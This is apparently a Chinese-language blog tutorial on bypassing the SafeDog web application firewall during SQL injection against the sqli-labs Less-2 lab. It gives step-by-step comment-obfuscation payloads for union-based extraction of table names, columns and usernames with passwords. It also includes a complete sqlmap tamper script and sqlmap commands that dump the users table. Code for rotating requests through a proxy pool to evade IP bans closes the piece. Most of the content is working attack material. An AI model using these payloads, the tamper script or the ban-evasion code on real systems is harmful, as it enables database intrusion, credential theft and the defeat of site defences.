web漏洞-SQL注入之安全狗waf绕过
文章目录
前言
介绍了安全狗的绕过方法及思路。
注入流程
以sqlilabs靶场的less2为例。
绕过and
首先判断注入点,需要使用到and,经测试可以发现and后面接了数字、单引号、双引号都会被拦截,且注释符/**/
没有被拦截。因此,我们思路是在and/*(中间这里加上爆破语句)*/1=1
看是否能绕过安全狗。此时的payload为id=1 and/*//*/1=1
。
绕过order by
接下来需要用order by确定列数,经过测试可以得到单独的order和单独的by都没关系,只有再order by两个连起来使用的时候会被拦截,因此我们的思路是在order/*(中间这里爆破)*/by
。可以先用绕过and的方法试一下绕过order by。验证可以绕过。此时的payload为id=-1 order/*//*/by 4
。
绕过union select
接下来准备用联合查询查询信息。经测试发现union select两个连起来会被拦截,union all select也会被拦截,因此我们的思路是union/*(中间这里爆破)*/select
。可以先用绕过and的方法试一下绕过order by。验证无法绕过,重新爆破。此时的payload为id=-1 union/*/!++/*/select 1,2,3
。
绕过database()
接下来要拿到数据库信息,经测试,database和()连起来时会被拦截,而mysql特性database和()中间有空格不会影响查询结果,因此,我们的思路为database/*中间这里加爆破*/()
。直接用绕过union select的方式试一下,验证可以绕过。此时的payload为id=-1 union/*/!++/*/select 1,2,database/*/!++/*/()
。
绕过version
拿一下版本信息,经测试,version这个关键字会被拦截,而mysql的特性/*!--+%0A语句*/
不会影响执行结果,因此,我们的思路为/*!--+(这里加爆破)%0Aversion()*/
。得到的最后的payload为id=-1 union/*/!++/*/select 1,2,/*!--+/*%0Aversion()*/
。
绕过information_schema
接下来是要拿到表名,经测试,from后面跟着东西或者是information_schema一起出现的时候会被拦截,此时,我们有两种思路,一种是分别绕过两个拦截,此时的思路是在from/*(这里加爆破)*//*!--+(这里加爆破)%0Ainformation_schema*/
。另一种是把这两个拦截当成同一个拦截爆破,此时的思路是from /*!--+(这里加爆破)%0Ainformation_schema*/
。经验证,两种思路都可行。我们用第二种思路。可以先试一下绕过version的语句。经验证会被拦截,重新爆破。此时的payload为id=-1 union/*/!++/*/select 1,2,group_concat(table_name) from/*!--+!/*%0Ainformation_schema.tables*/ where table_schema='security'
。
获取列名
绕过方法和获取表名时一致。此时的payload为id=-1 union/*/!++/*/select 1,2,group_concat(column_name) from/*!--+!/*%0Ainformation_schema.columns*/ where table_schema='security' and/*//*/table_name='users'
。
获取数据
绕过方法和上面一样。此时的payload为id=-1 union/*/!++/*/select 1,group_concat(username),group_concat(password) from/*!--+/*%0Ausers*/--+
。
编写注入脚本
通过上面的测试,我们可以编写出注入的脚本,脚本如下
#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("这是我的bypassdog tamper提示")
# 写一个不区分大小写的replace函数,待完善
def ignoreCaseReplace(ostr, replacedStr, rStr):
ostr = ostr.replace(replacedStr.lower(), rStr)
ostr = ostr.replace(replacedStr.upper(), rStr)
# 统一修改+号为空格,不然会被编码为%2B,我们期望的是%20
ostr = ostr.replace("+", " ")
return ostr
def tamper(payload, **kwargs):
payload = ignoreCaseReplace(payload,"and ","and/*//*/")
payload = ignoreCaseReplace(payload,"order ","order/*//*/")
payload = ignoreCaseReplace(payload,"union ","union/*/!++/*/")
payload = ignoreCaseReplace(payload,"database() ","database/*/!++/*/()")
payload = ignoreCaseReplace(payload,"version()","/*!--+/*%0Aversion()*/")
payload = ignoreCaseReplace(payload,"information_schema","/*!--+!/*%0Ainformation_schema*/")
# 抓sqlmap包发现as也被拦截了
# 这里加上后连数据库都查不出来了,没加的时候可以查出来,抓包后发现payload语句也已经正常执行了有结果了,但是sqlmap这里显示就是没有TAT
# 经过源码和抓包分析发现是--+中的+号被url编码成了%2B,但是我们在url的get参数的--+的+号是指的是空格的意思,编码后应该是%20才对,修改代码的+号全部改为空格,此处我在ignoreCaseReplace函数中同一修改
payload = ignoreCaseReplace(payload,"as ","/*!--+/*%0Aas*/ ")
# 单独的from xxx也会被拦截,且不能在from/**/xxx中间爆破,只能在后面加上/*!--+%0A*/
if ("from " in payload or "FROM " in payload) and ("from /*" not in payload and "FROM /*" not in payload):
payload = payload.replace("FROM ","from ")
has_end_comment_flag = False
end_comment = ""
# 抓包发现sqlmap会使用-- -当成注释结尾
check_end_comment_list = ["--+", "#", "%23", "-- ","-- -"]
for check_end_comment in check_end_comment_list:
if payload.endswith(check_end_comment):
has_end_comment_flag = True
end_comment = check_end_comment
payload = payload[:-len(end_comment)]
break
s_payload_list = payload.split("from ")
payload = s_payload_list[0]
for s_payload in s_payload_list[1:]:
# 这里的+号也要记得修改为空格
payload += "from/*!-- /*%0A"+s_payload+"*/"
if has_end_comment_flag:
payload += end_comment
return payload if payload else payload
sqlmap -u "http://192.168.31.210/Less-2/?id=1" --random-agent
sqlmap -u "http://192.168.31.210/Less-2/?id=1" --tamper mybypassdog.py --random-agent
sqlmap -u "http://192.168.31.210/Less-2/?id=1" --tamper mybypassdog.py --proxy="http://192.168.237.1:9999" --random-agent --current-db
sqlmap -u "http://192.168.31.210/Less-2/?id=1" --tamper mybypassdog.py --proxy="http://192.168.237.1:9999" --random-agent -D "security" --tables -v3
sqlmap -u "http://192.168.31.210/Less-2/?id=1" --tamper mybypassdog.py --proxy="http://192.168.237.1:9999" --random-agent -D "security" -T "users" --columns
sqlmap -u "http://192.168.31.210/Less-2/?id=1" --tamper mybypassdog.py --proxy="http://192.168.237.1:9999" --random-agent -D "security" -T "users" --dump
代理池
搭建代理池
搭建代理池可以绕过ip被封的情况,这里代理池搭建推荐使用github上的https://github.com/jhao104/proxy_pool,这里我用docker-compose方式搭建,效果如下。
sqlmap使用代理池
这里尝试了两种方法让sqlmap使用我们的代理池,第一种是这种SqlMap代理池,这种方式也是我个人比较希望使用的方式,实测这套代码不行,参照思路sqlmap-本机-代理服务器的流程自己写了一个也没成功,不知道是不是思路问题,有实现了的告诉我一下。
第二种方法是参照sqlmap-autoproxy这个作者的思路。
# autoproxy.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import json
# 从代理池中获取IP列表,代理池已经验证过了,直接用即可
def getproxyipListFromPool():
try:
retText = requests.get("http://192.168.237.168:5010/all/").text
proxyJsonList = json.loads(retText)
proxyList = []
for proxyJsonItem in proxyJsonList:
proxyList.append("http://"+proxyJsonItem["proxy"])
return proxyList
except Exception as e:
print("从代理池获取ip出错,"+str(e))
return []
# option.py
def _setProxyList():
if not conf.proxyFile:
return
conf.proxyList = []
if conf.proxyFile == 'auto':
conf.proxyList = getproxyipListFromPool()
print("从代理池中获取到代理IP列表如下:")
print(conf.proxyList)
return
for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)):
_, type_, address, port = match.groups()
conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port))
logger.info("kokoha 这里的conf.proxyList=")
print(conf.proxyList)
总结
# 一般思路
1、如果是两个中间通过空格连接的字符串被拦截,那就把中间的字符替换为/*$$*/爆破,/!*-+ 1~5位
2、如果是关键字加()被拦截,如database(),则可以再()前面加上/*$$*/爆破,/!*-+ 1~5位
3、如果是一个整体的关键字符串被拦截,则可以使用/*!--+%0a$爆破$关键字符串*/爆破,/!*-+ 1~5位,注意这里有--+和23%两种情况,可能有一种情况不行,另一种情况可以
4、如果是两个挨着的关键字被拦截,则可以当成一个用第3个方法来爆破,防止分别爆破后出现两个连着的又被拦截了的情况
# 辅助思路
1、使用/*!00000*/来爆破00000-99999
2、使用id=1 like "[%23]" union select * from users;方式绕过拦截